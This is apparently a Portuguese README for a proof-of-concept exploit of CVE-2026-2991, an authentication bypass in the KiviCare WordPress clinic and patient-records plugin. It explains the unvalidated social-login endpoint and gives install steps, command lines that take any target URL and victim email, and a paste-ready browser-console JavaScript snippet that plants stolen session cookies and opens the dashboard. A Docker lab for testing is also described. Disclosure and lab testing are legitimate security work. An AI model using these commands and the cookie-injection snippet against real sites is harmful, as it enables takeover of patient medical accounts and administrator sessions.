KiviCare <= 4.1.2 - Bypass de Autenticação (CVE-2026-2991) PoC

📜 Descrição

O CVE-2026-2991 é uma vulnerabilidade de bypass de autenticação no plugin WordPress KiviCare – Clinic & Patient Management System (EHR) que afeta todas as versões até e incluindo a 4.1.2.

O plugin expõe um endpoint REST público em /wp-json/kivicare/v1/auth/patient/social-login que autentica usuários via login social. A função patientSocialLogin() aceita um endereço de e-mail e um token de acesso, mas nunca valida o token junto ao provedor social informado. Qualquer atacante não autenticado pode entrar como qualquer paciente registrado fornecendo apenas o e-mail e uma string arbitrária como token.

Além disso, os cookies de autenticação do WordPress são emitidos antes da verificação do papel de paciente ser aplicada. Isso significa que, para contas que não são de pacientes (incluindo administradores), a resposta retorna HTTP 403, mas ainda inclui cabeçalhos Set-Cookie válidos — vazando uma sessão de administrador reutilizável para o atacante.

Versões afetadas: kivicare-clinic-management-system <= 4.1.2

✨ Recursos

• Não autenticado — Nenhuma credencial ou sessão prévia necessária
• Assunção de conta de paciente — Entre como qualquer paciente registrado usando apenas o e-mail
• Vazamento de sessão de administrador — Extrai cookies de autenticação válidos de administrador da resposta 403 para contas que não são de pacientes
• Trecho para console do navegador — Gera JavaScript pronto para colar, que injeta cookies e redireciona diretamente para o painel

OSX/Linux

git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt

Windows

git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt

⚙️ Uso

python3 CVE-2026-2991.py --url <TARGET_URL> --email <TARGET_EMAIL> [--login-type <google|apple>] [--timeout <SECONDS>] [--useragent <UA>]

Assunção de conta de paciente

Contorne a autenticação de um paciente registrado. O script retorna a sessão completa, incluindo um nonce e cookies reutilizáveis.

python3 CVE-2026-2991.py --url 'https://target.com' --email '[email protected]'

Vazamento de sessão de administrador (conta que não é de paciente)

Forneça o e-mail de qualquer usuário que não seja paciente (por exemplo, um administrador). O endpoint emite cookies de autenticação válidos antes da verificação de papel e retorna 403 — esses cookies são extraídos e impressos.

python3 CVE-2026-2991.py  --url http://localhost:8080/ --email '[email protected]'

Login pelo console do navegador

Após uma execução bem-sucedida, o script imprime um trecho de JavaScript. Abra o site alvo no navegador, cole o trecho no console do navegador (F12 → Console) e pressione Enter — ele define os cookies roubados e navega automaticamente para o painel.

(() => {
  document.cookie = "wordpress_<hash>=<value>; path=/";
  document.cookie = "wordpress_logged_in_<hash>=<value>; path=/";
  window.location.href = "http://target.com/kivicare-patient-dashboard";
})();

🐋 Docker PoC

Um ambiente Docker Compose autocontido com o plugin vulnerável pré-instalado e populado com dados de teste realistas. Consulte DOCKER.md para mais detalhes.

cd docker/
docker compose up

O laboratório popula as seguintes contas na primeira inicialização:

# Bypass a patient
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'

# Leak admin session cookies
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'

🕵🏼 Referências

• KiviCare — Plugin WordPress
• NVD — CVE-2026-2991
• WordFence
• HackIndex.io — CVE-2026-2991

📢 Aviso Legal

Esta ferramenta é fornecida apenas para fins educacionais e de pesquisa. O criador não se responsabiliza por qualquer uso indevido ou dano causado por esta ferramenta.